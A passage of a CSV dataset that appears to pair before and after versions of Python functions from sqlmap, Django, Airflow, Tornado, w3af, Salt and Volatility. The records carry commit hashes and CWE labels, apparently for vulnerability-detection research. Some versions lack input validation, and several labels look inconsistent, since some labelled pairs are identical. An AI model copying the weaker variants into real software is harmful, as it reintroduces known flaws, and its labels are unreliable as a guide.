                file_ = os.path.relpath(file_, os.path.dirname(__file__))
                file_ = file_.replace(""\\"", '/')
                if ""../"" in file_:
                    file_ = re.sub(r""(\.\./)+"", '/', file_)
                else:
                    file_ = file_.lstrip('/')
                file_ = re.sub(r""/{2,}"", '/', file_)
                excMsg = excMsg.replace(match.group(1), file_)

            errMsg = maskSensitiveData(errMsg)
            excMsg = maskSensitiveData(excMsg)

            if conf.get(""api"") or not valid:
                logger.critical(""%s\n%s"" % (errMsg, excMsg))
            else:
                logger.critical(errMsg)
                kb.stickyLevel = logging.CRITICAL
                dataToStdout(excMsg)
                createGithubIssue(errMsg, excMsg)

        except KeyboardInterrupt:
            pass

    finally:
        kb.threadContinue = False

        if conf.get(""showTime""):
            dataToStdout(""\n[*] shutting down at %s\n\n"" % time.strftime(""%X""), forceOutput=True)

        kb.threadException = True

        if kb.get(""tempDir""):
            for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
                for filepath in glob.glob(os.path.join(kb.tempDir, ""%s*"" % prefix)):
                    try:
                        os.remove(filepath)
                    except OSError:
                        pass
            if not filter(None, (filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ('.lock', '.exe', '_')))):
                shutil.rmtree(kb.tempDir, ignore_errors=True)

        if conf.get(""hashDB""):
            try:
                conf.hashDB.flush(True)
            except KeyboardInterrupt:
                pass

        if conf.get(""harFile""):
            with openFile(conf.harFile, ""w+b"") as f:
                json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': '))

        if cmdLineOptions.get(""sqlmapShell""):
            cmdLineOptions.clear()
            conf.clear()
            kb.clear()
            conf.disableBanner = True
            main()

        if conf.get(""api""):
            try:
                conf.databaseCursor.disconnect()
            except KeyboardInterrupt:
                pass

        if conf.get(""dumper""):
            conf.dumper.flush()

        # short delay for thread finalization
        try:
            _ = time.time()
            while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
                time.sleep(0.01)
        except KeyboardInterrupt:
            pass
        finally:
            # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
            if threading.activeCount() > 1:
                os._exit(0)",,sqlmapproject/sqlmap,36b660309b65b67909e766d797df184134147c53,"def main():
    """"""
    Main function of sqlmap when running from command line.
    """"""

    try:
        dirtyPatches()
        checkEnvironment()
        setPaths(modulePath())
        banner()

        # Store original command line options for possible later restoration
        cmdLineOptions.update(cmdLineParser().__dict__)
        initOptions(cmdLineOptions)

        if conf.get(""api""):
            # heavy imports
            from lib.utils.api import StdDbOut
            from lib.utils.api import setRestAPILog

            # Overwrite system standard output and standard error to write
            # to an IPC database
            sys.stdout = StdDbOut(conf.taskid, messagetype=""stdout"")
            sys.stderr = StdDbOut(conf.taskid, messagetype=""stderr"")
            setRestAPILog()

        conf.showTime = True
        dataToStdout(""[!] legal disclaimer: %s\n\n"" % LEGAL_DISCLAIMER, forceOutput=True)
        dataToStdout(""[*] starting at %s\n\n"" % time.strftime(""%X""), forceOutput=True)

        init()

        if not conf.updateAll:
            # Postponed imports (faster start)
            if conf.smokeTest:
                from lib.core.testing import smokeTest
                smokeTest()
            elif conf.liveTest:
                from lib.core.testing import liveTest
                liveTest()
            else:
                from lib.controller.controller import start
                if conf.profile:
                    from lib.core.profiling import profile
                    globals()[""start""] = start
                    profile()
                else:
                    try:
                        start()
                    except thread.error as ex:
                        if ""can't start new thread"" in getSafeExString(ex):
                            errMsg = ""unable to start new threads. Please check OS (u)limits""
                            logger.critical(errMsg)
                            raise SystemExit
                        else:
                            raise

    except SqlmapUserQuitException:
        errMsg = ""user quit""
        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except (SqlmapSilentQuitException, bdb.BdbQuit):
        pass

    except SqlmapShellQuitException:
        cmdLineOptions.sqlmapShell = False

    except SqlmapBaseException as ex:
        errMsg = getSafeExString(ex)
        try:
            logger.critical(errMsg)
        except KeyboardInterrupt:
            pass
        raise SystemExit

    except KeyboardInterrupt:
        print

        errMsg = ""user aborted""
        try:
            logger.critical(errMsg)
        except KeyboardInterrupt:
            pass

    except EOFError:
        print
        errMsg = ""exit""

        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except SystemExit:
        pass

    except:
        print
        errMsg = unhandledExceptionMessage()
        excMsg = traceback.format_exc()
        valid = checkIntegrity()

        try:
            if valid is False:
                errMsg = ""code integrity check failed (turning off automatic issue creation). ""
                errMsg += ""You should retrieve the latest development version from official GitHub ""
                errMsg += ""repository at '%s'"" % GIT_PAGE
                logger.critical(errMsg)
                print
                dataToStdout(excMsg)
                raise SystemExit

            elif any(_ in excMsg for _ in (""tamper/"", ""waf/"")):
                logger.critical(errMsg)
                print
                dataToStdout(excMsg)
                raise SystemExit

            elif ""MemoryError"" in excMsg:
                errMsg = ""memory exhaustion detected""
                logger.error(errMsg)
                raise SystemExit

            elif any(_ in excMsg for _ in (""No space left"", ""Disk quota exceeded"")):
                errMsg = ""no space left on output device""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""No such file"", ""_'"", ""self.get_prog_name()"")):
                errMsg = ""corrupted installation detected ('%s'). "" % excMsg.strip().split('\n')[-1]
                errMsg += ""You should retrieve the latest development version from official GitHub ""
                errMsg += ""repository at '%s'"" % GIT_PAGE
                logger.error(errMsg)
                raise SystemExit

            elif ""Read-only file system"" in excMsg:
                errMsg = ""output device is mounted as read-only""
                logger.error(errMsg)
                raise SystemExit

            elif ""OperationalError: disk I/O error"" in excMsg:
                errMsg = ""I/O error on output device""
                logger.error(errMsg)
                raise SystemExit

            elif ""Violation of BIDI"" in excMsg:
                errMsg = ""invalid URL (violation of Bidi IDNA rule - RFC 5893)""
                logger.error(errMsg)
                raise SystemExit

            elif ""_mkstemp_inner"" in excMsg:
                errMsg = ""there has been a problem while accessing temporary files""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""twophase"", ""sqlalchemy"")):
                errMsg = ""please update the 'sqlalchemy' package (>= 1.1.11) ""
                errMsg += ""(Reference: https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe)""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""scramble_caching_sha2"", ""TypeError"")):
                errMsg = ""please downgrade the 'PyMySQL' package (=< 0.8.1) ""
                errMsg += ""(Reference: https://github.com/PyMySQL/PyMySQL/issues/700)""
                logger.error(errMsg)
                raise SystemExit

            elif ""must be pinned buffer, not bytearray"" in excMsg:
                errMsg = ""error occurred at Python interpreter which ""
                errMsg += ""is fixed in 2.7.x. Please update accordingly ""
                errMsg += ""(Reference: https://bugs.python.org/issue8104)""
                logger.error(errMsg)
                raise SystemExit

            elif ""can't start new thread"" in excMsg:
                errMsg = ""there has been a problem while creating new thread instance. ""
                errMsg += ""Please make sure that you are not running too many processes""
                if not IS_WIN:
                    errMsg += "" (or increase the 'ulimit -u' value)""
                logger.error(errMsg)
                raise SystemExit

            elif ""'DictObject' object has no attribute '"" in excMsg and all(_ in errMsg for _ in (""(fingerprinted)"", ""(identified)"")):
                errMsg = ""there has been a problem in enumeration. ""
                errMsg += ""Because of a considerable chance of false-positive case ""
                errMsg += ""you are advised to rerun with switch '--flush-session'""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""pymysql"", ""configparser"")):
                errMsg = ""wrong initialization of pymsql detected (using Python3 dependencies)""
                logger.error(errMsg)
                raise SystemExit

            elif ""bad marshal data (unknown type code)"" in excMsg:
                match = re.search(r""\s*(.+)\s+ValueError"", excMsg)
                errMsg = ""one of your .pyc files are corrupted%s"" % ("" ('%s')"" % match.group(1) if match else """")
                errMsg += "". Please delete .pyc files on your system to fix the problem""
                logger.error(errMsg)
                raise SystemExit

            elif ""url = url.strip()"" in excMsg:
                dataToStdout(excMsg)
                print
                errMsg = ""please contact 'miroslav@sqlmap.org' with details for this issue ""
                errMsg += ""as he is trying to reproduce it for long time""
                logger.error(errMsg)
                raise SystemExit

            elif kb.get(""dumpKeyboardInterrupt""):
                raise SystemExit

            elif any(_ in excMsg for _ in (""Broken pipe"",)):
                raise SystemExit

            for match in re.finditer(r'File ""(.+?)"", line', excMsg):
                file_ = match.group(1)
                file_ = os.path.relpath(file_, os.path.dirname(__file__))
                file_ = file_.replace(""\\"", '/')
                if ""../"" in file_:
                    file_ = re.sub(r""(\.\./)+"", '/', file_)
                else:
                    file_ = file_.lstrip('/')
                file_ = re.sub(r""/{2,}"", '/', file_)
                excMsg = excMsg.replace(match.group(1), file_)

            errMsg = maskSensitiveData(errMsg)
            excMsg = maskSensitiveData(excMsg)

            if conf.get(""api"") or not valid:
                logger.critical(""%s\n%s"" % (errMsg, excMsg))
            else:
                logger.critical(errMsg)
                kb.stickyLevel = logging.CRITICAL
                dataToStdout(excMsg)
                createGithubIssue(errMsg, excMsg)

        except KeyboardInterrupt:
            pass

    finally:
        kb.threadContinue = False

        if conf.get(""showTime""):
            dataToStdout(""\n[*] shutting down at %s\n\n"" % time.strftime(""%X""), forceOutput=True)

        kb.threadException = True

        if kb.get(""tempDir""):
            for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
                for filepath in glob.glob(os.path.join(kb.tempDir, ""%s*"" % prefix)):
                    try:
                        os.remove(filepath)
                    except OSError:
                        pass
            if not filter(None, (filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ('.lock', '.exe', '_')))):
                shutil.rmtree(kb.tempDir, ignore_errors=True)

        if conf.get(""hashDB""):
            try:
                conf.hashDB.flush(True)
            except KeyboardInterrupt:
                pass

        if conf.get(""harFile""):
            with openFile(conf.harFile, ""w+b"") as f:
                json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': '))

        if cmdLineOptions.get(""sqlmapShell""):
            cmdLineOptions.clear()
            conf.clear()
            kb.clear()
            main()

        if conf.get(""api""):
            try:
                conf.databaseCursor.disconnect()
            except KeyboardInterrupt:
                pass

        if conf.get(""dumper""):
            conf.dumper.flush()

        # short delay for thread finalization
        try:
            _ = time.time()
            while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
                time.sleep(0.01)
        except KeyboardInterrupt:
            pass
        finally:
            # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
            if threading.activeCount() > 1:
                os._exit(0)"
,UNKNOWN,UNKNOWN,django/db/models/sql/query.py,1,"def change_aliases(self, change_map):
        """"""
        Change the aliases in change_map (which maps old-alias -> new-alias),
        relabelling any references to them in select columns and the where
        clause.
        """"""
        if not change_map:
            return self
        # If keys and values of change_map were to intersect, an alias might be
        # updated twice (e.g. T4 -> T5, T5 -> T6, so also T4 -> T6) depending
        # on their order in change_map.
        assert set(change_map).isdisjoint(change_map.values())

        # 1. Update references in ""select"" (normal columns plus aliases),
        # ""group by"" and ""where"".
        self.where.relabel_aliases(change_map)
        if isinstance(self.group_by, tuple):
            self.group_by = tuple(
                [col.relabeled_clone(change_map) for col in self.group_by]
            )
        self.select = tuple([col.relabeled_clone(change_map) for col in self.select])
        self.annotations = self.annotations and {
            key: col.relabeled_clone(change_map)
            for key, col in self.annotations.items()
        }

        # 2. Rename the alias in the internal table/alias datastructures.
        for old_alias, new_alias in change_map.items():
            if old_alias not in self.alias_map:
                continue
            alias_data = self.alias_map[old_alias].relabeled_clone(change_map)
            self.alias_map[new_alias] = alias_data
            self.alias_refcount[new_alias] = self.alias_refcount[old_alias]
            del self.alias_refcount[old_alias]
            del self.alias_map[old_alias]

            table_aliases = self.table_map[alias_data.table_name]
            for pos, alias in enumerate(table_aliases):
                if alias == old_alias:
                    table_aliases[pos] = new_alias
                    break

        # 3. Rename the direct external aliases and the ones of combined
        # queries (union, intersection, difference).
        self.external_aliases = {
            # Table is aliased or it's being changed and thus is aliased.
            change_map.get(alias, alias): (aliased or alias in change_map)
            for alias, aliased in self.external_aliases.items()
        }
        for combined_query in self.combined_queries:
            external_change_map = {
                alias: aliased
                for alias, aliased in change_map.items()
                if alias in combined_query.external_aliases
            }
            combined_query.change_aliases(external_change_map)",CWE-703,django/django,53ea4cce2fd08e84b9cdb6363267ccb9525f7060,"def change_aliases(self, change_map):
        """"""
        Change the aliases in change_map (which maps old-alias -> new-alias),
        relabelling any references to them in select columns and the where
        clause.
        """"""
        if not change_map:
            return self
        # If keys and values of change_map were to intersect, an alias might be
        # updated twice (e.g. T4 -> T5, T5 -> T6, so also T4 -> T6) depending
        # on their order in change_map.
        assert set(change_map).isdisjoint(change_map.values())

        # 1. Update references in ""select"" (normal columns plus aliases),
        # ""group by"" and ""where"".
        self.where.relabel_aliases(change_map)
        if isinstance(self.group_by, tuple):
            self.group_by = tuple(
                [col.relabeled_clone(change_map) for col in self.group_by]
            )
        self.select = tuple([col.relabeled_clone(change_map) for col in self.select])
        self.annotations = self.annotations and {
            key: col.relabeled_clone(change_map)
            for key, col in self.annotations.items()
        }

        # 2. Rename the alias in the internal table/alias datastructures.
        for old_alias, new_alias in change_map.items():
            if old_alias not in self.alias_map:
                continue
            alias_data = self.alias_map[old_alias].relabeled_clone(change_map)
            self.alias_map[new_alias] = alias_data
            self.alias_refcount[new_alias] = self.alias_refcount[old_alias]
            del self.alias_refcount[old_alias]
            del self.alias_map[old_alias]

            table_aliases = self.table_map[alias_data.table_name]
            for pos, alias in enumerate(table_aliases):
                if alias == old_alias:
                    table_aliases[pos] = new_alias
                    break
        self.external_aliases = {
            # Table is aliased or it's being changed and thus is aliased.
            change_map.get(alias, alias): (aliased or alias in change_map)
            for alias, aliased in self.external_aliases.items()
        }"
,UNKNOWN,UNKNOWN,django/contrib/admin/sites.py,1,"def index(self, request, extra_context=None):
        """"""
        Displays the main admin index page, which lists all of the installed
        apps that have been registered in this site.
        """"""
        app_dict = {}
        user = request.user
        for model, model_admin in self._registry.items():
            app_label = model._meta.app_label
            has_module_perms = user.has_module_perms(app_label)

            if has_module_perms:
                perms = model_admin.get_model_perms(request)

                # Check whether user has any perm for this module.
                # If so, add the module to the model_list.
                if True in perms.values():
                    model_dict = {
                        'name': capfirst(model._meta.verbose_name_plural),
                        'admin_url': mark_safe('%s/%s/' % (app_label, model.__name__.lower())),
                        'perms': perms,
                    }
                    if app_label in app_dict:
                        app_dict[app_label]['models'].append(model_dict)
                    else:
                        app_dict[app_label] = {
                            'name': app_label.title(),
                            'app_url': app_label + '/',
                            'has_module_perms': has_module_perms,
                            'models': [model_dict],
                        }

        # Sort the apps alphabetically.
        app_list = app_dict.values()
        app_list.sort(lambda x, y: cmp(x['name'], y['name']))

        # Sort the models alphabetically within each app.
        for app in app_list:
            app['models'].sort(lambda x, y: cmp(x['name'], y['name']))

        context = {
            'title': _('Site administration'),
            'app_list': app_list,
            'root_path': self.root_path,
        }
        context.update(extra_context or {})
        return render_to_response(self.index_template or 'admin/index.html', context,
            context_instance=template.RequestContext(request)
        )",CWE-79,django/django,7d1b4295b9779788b4cbd4b7bb99240807c62aa3,"def index(self, request, extra_context=None):
        """"""
        Displays the main admin index page, which lists all of the installed
        apps that have been registered in this site.
        """"""
        app_dict = {}
        user = request.user
        for model, model_admin in self._registry.items():
            app_label = model._meta.app_label
            has_module_perms = user.has_module_perms(app_label)

            if has_module_perms:
                perms = {
                    'add': model_admin.has_add_permission(request),
                    'change': model_admin.has_change_permission(request),
                    'delete': model_admin.has_delete_permission(request),
                }

                # Check whether user has any perm for this module.
                # If so, add the module to the model_list.
                if True in perms.values():
                    model_dict = {
                        'name': capfirst(model._meta.verbose_name_plural),
                        'admin_url': mark_safe('%s/%s/' % (app_label, model.__name__.lower())),
                        'perms': perms,
                    }
                    if app_label in app_dict:
                        app_dict[app_label]['models'].append(model_dict)
                    else:
                        app_dict[app_label] = {
                            'name': app_label.title(),
                            'app_url': app_label + '/',
                            'has_module_perms': has_module_perms,
                            'models': [model_dict],
                        }

        # Sort the apps alphabetically.
        app_list = app_dict.values()
        app_list.sort(lambda x, y: cmp(x['name'], y['name']))

        # Sort the models alphabetically within each app.
        for app in app_list:
            app['models'].sort(lambda x, y: cmp(x['name'], y['name']))

        context = {
            'title': _('Site administration'),
            'app_list': app_list,
            'root_path': self.root_path,
        }
        context.update(extra_context or {})
        return render_to_response(self.index_template or 'admin/index.html', context,
            context_instance=template.RequestContext(request)
        )"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_dag_run.py,1,"def test_should_respond_404(self, test_client):
        response = test_client.get(
            ""public/dags/invalid-id/dagRuns/invalid-run-id/upstreamAssetEvents"",
        )
        assert response.status_code == 404
        assert (
            response.json()[""detail""]
            == ""The DagRun with dag_id: `invalid-id` and run_id: `invalid-run-id` was not found""
        )",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_should_respond_404(self, test_client):
        response = test_client.get(
            ""public/dags/invalid-id/dagRuns/invalid-run-id/upstreamAssetEvents"",
        )
        assert response.status_code == 404
        assert (
            ""The DagRun with dag_id: `invalid-id` and run_id: `invalid-run-id` was not found""
            == response.json()[""detail""]
        )"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/migrations/test_commands.py,0,"def test_squashmigrations_optimizes(self):
        """"""
        squashmigrations optimizes operations.
        """"""
        out = io.StringIO()
        with self.temporary_migration_module(module=""migrations.test_migrations""):
            call_command(""squashmigrations"", ""migrations"", ""0002"", interactive=False, verbosity=1, stdout=out)
        self.assertIn(""Optimized from 8 operations to 2 operations."", out.getvalue())",CWE-Unknown,django/django,8e3f22f2513a5b64153ea9903690a38ac159031b,"def test_squashmigrations_optimizes(self):
        """"""
        squashmigrations optimizes operations.
        """"""
        out = io.StringIO()
        with self.temporary_migration_module(module=""migrations.test_migrations""):
            call_command(""squashmigrations"", ""migrations"", ""0002"", interactive=False, verbosity=1, stdout=out)
        self.assertIn(""Optimized from 8 operations to 4 operations."", out.getvalue())"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/utils/translation/__init__.py,0,"def lazy_number(func, resultclass, number=None, **kwargs):
    if isinstance(number, six.integer_types):
        kwargs['number'] = number
        proxy = lazy(func, resultclass)(**kwargs)
    else:
        original_kwargs = kwargs.copy()

        class NumberAwareString(resultclass):
            def __bool__(self):
                return bool(kwargs['singular'])

            def __nonzero__(self):  # Python 2 compatibility
                return type(self).__bool__(self)

            def __mod__(self, rhs):
                if isinstance(rhs, dict) and number:
                    try:
                        number_value = rhs[number]
                    except KeyError:
                        raise KeyError('Your dictionary lacks key \'%s\'. '
                            'Please provide it, because it is required to '
                            'determine whether string is singular or plural.'
                            % number)
                else:
                    number_value = rhs
                kwargs['number'] = number_value
                translated = func(**kwargs)
                try:
                    translated = translated % rhs
                except TypeError:
                    # String doesn't contain a placeholder for the number
                    pass
                return translated

        proxy = lazy(lambda **kwargs: NumberAwareString(), NumberAwareString)(**kwargs)
        proxy.__reduce__ = lambda: (_lazy_number_unpickle, (func, resultclass, number, original_kwargs))
    return proxy",CWE-Unknown,django/django,b59f963ad2a49322725b20fac71661bd49643443,"def lazy_number(func, resultclass, number=None, **kwargs):
    if isinstance(number, six.integer_types):
        kwargs['number'] = number
        proxy = lazy(func, resultclass)(**kwargs)
    else:
        class NumberAwareString(resultclass):
            def __bool__(self):
                return bool(kwargs['singular'])

            def __nonzero__(self):  # Python 2 compatibility
                return type(self).__bool__(self)

            def __mod__(self, rhs):
                if isinstance(rhs, dict) and number:
                    try:
                        number_value = rhs[number]
                    except KeyError:
                        raise KeyError('Your dictionary lacks key \'%s\'. '
                            'Please provide it, because it is required to '
                            'determine whether string is singular or plural.'
                            % number)
                else:
                    number_value = rhs
                kwargs['number'] = number_value
                translated = func(**kwargs)
                try:
                    translated = translated % rhs
                except TypeError:
                    # String doesn't contain a placeholder for the number
                    pass
                return translated

        proxy = lazy(lambda **kwargs: NumberAwareString(), NumberAwareString)(**kwargs)
    return proxy"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/httputil.py,0,"def parse_line(self, line):
        """"""Updates the dictionary with a single header line.

        >>> h = HTTPHeaders()
        >>> h.parse_line(""Content-Type: text/html"")
        >>> h.get('content-type')
        'text/html'
        """"""
        if line[0].isspace():
            # continuation of a multi-line header
            if self._last_key is None:
                raise HTTPInputError(""first header line cannot start with whitespace"")
            new_part = ' ' + line.lstrip()
            self._as_list[self._last_key][-1] += new_part
            self._dict[self._last_key] += new_part
        else:
            try:
                name, value = line.split("":"", 1)
            except ValueError:
                raise HTTPInputError(""no colon in header line"")
            self.add(name, value.strip())",CWE-Unknown,tornadoweb/tornado,62e43f6b22e7b0bba1e37c2857396b439271ceb2,"def parse_line(self, line):
        """"""Updates the dictionary with a single header line.

        >>> h = HTTPHeaders()
        >>> h.parse_line(""Content-Type: text/html"")
        >>> h.get('content-type')
        'text/html'
        """"""
        if line[0].isspace():
            # continuation of a multi-line header
            new_part = ' ' + line.lstrip()
            self._as_list[self._last_key][-1] += new_part
            self._dict[self._last_key] += new_part
        else:
            name, value = line.split("":"", 1)
            self.add(name, value.strip())"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/audit/sqli.py,0,"def _analyzeResult( self, mutant, response ):
        '''
        Analyze results of the _sendMutant method.
        '''
        sqlErrorList = self._findSqlError( response )
        for sqlError in sqlErrorList:
            if not re.search( sqlError[0], mutant.getOriginalResponseBody(), re.IGNORECASE ):
                # Create the vuln,
                v = vuln.vuln( mutant )
                v.setId( response.id )
                v.setName( 'SQL injection vulnerability' )
                v.setSeverity(severity.HIGH)
                v['error'] = sqlError[0]
                v['db'] = sqlError[1]
                v.setDesc( 'SQL injection in a '+ v['db'] +' was found at: ' + response.getURL() + ' . Using method: ' + v.getMethod() + '. The data sent was: ' + str(mutant.getDc()) )
                kb.kb.append( self, 'sqli', v )
                break",,andresriancho/w3af,852363a74c09010f0f0fc515784dc05c0688dd0f,"def _analyzeResult( self, mutant, response ):
        '''
        Analyze results of the _sendMutant method.
        '''
        sqlErrorList = self._findSqlError( response )
        for sqlError in sqlErrorList:
            if not re.search( sqlError[0], mutant.getOriginalResponseBody(), re.IGNORECASE ):
                v = vuln.vuln( mutant )
                v.setId( response.id )
                v.setName( 'SQL injection vulnerability' )
                v.setSeverity(severity.HIGH)
                v['error'] = sqlError[0]
                v['db'] = sqlError[1]
                v.setDesc( 'SQL injection in a '+ v['db'] +' was found at: ' + response.getURL() + ' . Using method: ' + v.getMethod() + '. The data sent was: ' + str(mutant.getDc()) )
                kb.kb.append( self, 'sqli', v )
                break"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/smartos_virt.py,0,"def __virtual__():
    '''
    Provides virt on SmartOS
    '''
    if salt.utils.is_smartos_globalzone() and salt.utils.which('vmadm'):
        return __virtualname__
    return (
        False,
        '{0} module can only be loaded on SmartOS computed nodes'.format(
            __virtualname__
        )
    )",,saltstack/salt,77ec97bef1fa688d052a788e397702cac54d0465,"def __virtual__():
    '''
    Provides virt on SmartOS
    '''
    if salt.utils.is_smartos_globalzone() and salt.utils.which('vmadm'):
        return __virtualname__
    return False"
,UNKNOWN,UNKNOWN,tests/integration/cloud/providers/test_dimensiondata.py,1,"def _random_name(size=6):
    '''
    Generates a random cloud instance name
    '''
    return 'cloud-test-' + ''.join(
        random.choice(string.ascii_lowercase + string.digits)
        for x in range(size)
    )",CWE-330,saltstack/salt,07164622bbddadeb4e893eef0819107523e9b4bd,"def _random_name(size=6):
    '''
    Generates a random cloud instance name
    '''
    return 'cloud-test-' + ''.join(
        random.choice(string.ascii_lowercase + string.digits)
        for x in range(size)
    )"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/attack/sqlmap.py,0,"def __repr__(self):
        '''
        :return: A string representation of this shell.
        '''
        return '<sqlmap shell object>'",,andresriancho/w3af,0430f7929b7d083ded36cd8ecf29d6c065e002f1,"def __repr__(self):
        '''
        :return: A string representation of this shell.
        '''
        return '<sqlmap shell object>'"
,UNKNOWN,UNKNOWN,tests/api_fastapi/execution_api/routes/test_task_instances.py,1,"def test_ti_run_state_to_running(self, client, session, create_task_instance, time_machine):
        """"""
        Test that the Task Instance state is updated to running when the Task Instance is in a state where it can be
        marked as running.
        """"""
        instant_str = ""2024-09-30T12:00:00Z""
        instant = timezone.parse(instant_str)
        time_machine.move_to(instant, tick=False)

        ti = create_task_instance(
            task_id=""test_ti_run_state_to_running"",
            state=State.QUEUED,
            session=session,
            start_date=instant,
        )
        session.commit()

        response = client.patch(
            f""/execution/task-instances/{ti.id}/run"",
            json={
                ""state"": ""running"",
                ""hostname"": ""random-hostname"",
                ""unixname"": ""random-unixname"",
                ""pid"": 100,
                ""start_date"": instant_str,
            },
        )

        assert response.status_code == 200
        assert response.json() == {
            ""dag_run"": {
                ""dag_id"": ""dag"",
                ""run_id"": ""test"",
                ""clear_number"": 0,
                ""logical_date"": instant_str,
                ""data_interval_start"": instant.subtract(days=1).to_iso8601_string(),
                ""data_interval_end"": instant_str,
                ""run_after"": instant_str,
                ""start_date"": instant_str,
                ""end_date"": None,
                ""run_type"": ""manual"",
                ""conf"": {},
            },
            ""task_reschedule_count"": 0,
            ""max_tries"": 0,
            ""variables"": [],
            ""connections"": [],
        }

        # Refresh the Task Instance from the database so that we can check the updated values
        session.refresh(ti)
        assert ti.state == State.RUNNING
        assert ti.hostname == ""random-hostname""
        assert ti.unixname == ""random-unixname""
        assert ti.pid == 100",CWE-703,apache/airflow,fbbe59a2a927281042f5dbad76143f444e2a82ec,"def test_ti_run_state_to_running(self, client, session, create_task_instance, time_machine):
        """"""
        Test that the Task Instance state is updated to running when the Task Instance is in a state where it can be
        marked as running.
        """"""
        instant_str = ""2024-09-30T12:00:00Z""
        instant = timezone.parse(instant_str)
        time_machine.move_to(instant, tick=False)

        ti = create_task_instance(
            task_id=""test_ti_run_state_to_running"",
            state=State.QUEUED,
            session=session,
            start_date=instant,
        )

        session.commit()

        response = client.patch(
            f""/execution/task-instances/{ti.id}/run"",
            json={
                ""state"": ""running"",
                ""hostname"": ""random-hostname"",
                ""unixname"": ""random-unixname"",
                ""pid"": 100,
                ""start_date"": instant_str,
            },
        )

        assert response.status_code == 200
        assert response.json() == {
            ""dag_run"": {
                ""dag_id"": ""dag"",
                ""run_id"": ""test"",
                ""clear_number"": 0,
                ""logical_date"": instant_str,
                ""data_interval_start"": instant.subtract(days=1).to_iso8601_string(),
                ""data_interval_end"": instant_str,
                ""run_after"": instant_str,
                ""start_date"": instant_str,
                ""end_date"": None,
                ""run_type"": ""manual"",
                ""conf"": {},
            },
            ""task_reschedule_count"": 0,
            ""max_tries"": 0,
            ""variables"": [],
            ""connections"": [],
        }

        # Refresh the Task Instance from the database so that we can check the updated values
        session.refresh(ti)
        assert ti.state == State.RUNNING
        assert ti.hostname == ""random-hostname""
        assert ti.unixname == ""random-unixname""
        assert ti.pid == 100"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_client_regress/tests.py,0,"def test_empty_string_data(self):
        ""Request a view with empty string data via request method GET/POST/HEAD""
        # Regression test for #21740
        response = self.client.get('/body/', data='', content_type='application/json')
        self.assertEqual(response.content, b'')
        response = self.client.post('/body/', data='', content_type='application/json')
        self.assertEqual(response.content, b'')
        response = self.client.head('/body/', data='', content_type='application/json')
        self.assertEqual(response.content, b'')",CWE-Unknown,django/django,4525a0c4669dccb3a4c5d865184f8bb8e4a89ec8,"def test_empty_string_data(self):
        ""Request a view with empty string data via request method GET/POST/HEAD""
        # Regression test for #21740
        response = self.client.get('/body/', data='', content_type='application/json')
        self.assertEqual(response.content, b'')
        response = self.client.post('/body/', data='', content_type='application/json')
        self.assertEqual(response.content, b'')
        response = self.client.head('/body/', data='', content_type='application/json')
        self.assertEqual(response.content, b'')"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/evtlogs.py,0,"def calculate(self):
        addr_space = utils.load_as(self._config)
        
        if not self.is_valid_profile(addr_space.profile):
            debug.error(""This plugin only works on XP and 2003"")

        ## When verbose is specified, we recalculate the list of SIDs for
        ## services in the registry. Otherwise, we take the list from the 
        ## pre-populated dictionary in getservicesids.py
        if self._config.VERBOSE:
            ssids = getservicesids.GetServiceSids(self._config).calculate()
            for sid, service in ssids:
                self.extrasids[sid] = "" (Service: "" + service + "")"" 
        else:
            for sid, service in getservicesids.servicesids.items():
                self.extrasids[sid] = "" (Service: "" + service + "")""

        ## Get the user's SIDs from the registry
        self.load_user_sids()

        for proc in tasks.pslist(addr_space):
            if str(proc.ImageFileName).lower() == ""services.exe"":
                for vad, process_space in proc.get_vads(vad_filter = proc._mapped_file_filter):
                    if vad.FileObject.FileName:
                        name = str(vad.FileObject.FileName).lower()
                        if name.endswith("".evt""):
                            ## Maybe check the length is reasonable, though probably there won't 
                            ## ever be event logs that are multiple GB or TB in size.
                            data = process_space.zread(vad.Start, vad.Length)
                            yield name, data",,volatilityfoundation/volatility,f89da35bc80ebc3885ee1c81dc878c1f751dd359,"def calculate(self):
        addr_space = utils.load_as(self._config)
        
        if not self.is_valid_profile(addr_space.profile):
            debug.error(""This plugin only works on XP and 2003"")

        ## When verbose is specified, we recalculate the list of SIDs for
        ## services in the registry. Otherwise, we take the list from the 
        ## pre-populated dictionary in getservicesids.py
        if self._config.VERBOSE:
            ssids = getservicesids.GetServiceSids.calculate(self)
            for sid, service in ssids:
                self.extrasids[sid] = "" (Service: "" + service + "")"" 
        else:
